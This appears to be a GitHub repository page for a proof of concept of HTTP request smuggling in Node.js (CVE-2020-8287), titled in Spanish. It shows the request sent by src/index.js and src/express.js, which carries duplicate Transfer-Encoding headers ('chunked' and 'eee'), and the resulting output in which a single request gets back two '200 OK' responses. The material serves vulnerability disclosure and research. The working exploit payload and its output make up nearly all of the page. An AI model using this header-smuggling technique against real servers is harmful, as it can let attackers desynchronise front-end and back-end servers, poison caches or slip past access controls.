progfay/nodejs-http-transfer-encoding-smuggling-pocPoC de HTTP Request Smuggling en nodejs (CVE-2020-8287)
PoC de HTTP Request Smuggling en nodejs (CVE-2020-8287)
src/index.js{
header: [
'Host',
'127.0.0.1',
'Transfer-Encoding',
'chunked',
'Transfer-Encoding',
'eee'
],
body: 'A'
}
{ header: [ 'Host', '127.0.0.1' ], body: '' }
{
data: 'HTTP/1.1 200 OK\r\n' +
'Date: Tue, 05 Jan 2021 09:55:33 GMT\r\n' +
'Connection: keep-alive\r\n' +
'Keep-Alive: timeout=5\r\n' +
'Content-Length: 0\r\n' +
'\r\n' +
'HTTP/1.1 200 OK\r\n' +
'Date: Tue, 05 Jan 2021 09:55:33 GMT\r\n' +
'Connection: keep-alive\r\n' +
'Keep-Alive: timeout=5\r\n' +
'Content-Length: 0\r\n' +
'\r\n'
}
src/express.js{
header: { host: '127.0.0.1', 'transfer-encoding': 'chunked, eee' },
body: 'A'
}
{ header: { host: '127.0.0.1' }, body: '' }
{
data: 'HTTP/1.1 200 OK\r\n' +
'X-Powered-By: Express\r\n' +
'Date: Tue, 05 Jan 2021 09:56:19 GMT\r\n' +
'Connection: keep-alive\r\n' +
'Keep-Alive: timeout=5\r\n' +
'Content-Length: 0\r\n' +
'\r\n' +
'HTTP/1.1 200 OK\r\n' +
'X-Powered-By: Express\r\n' +
'Date: Tue, 05 Jan 2021 09:56:19 GMT\r\n' +
'Connection: keep-alive\r\n' +
'Keep-Alive: timeout=5\r\n' +
'Content-Length: 0\r\n' +
'\r\n'
}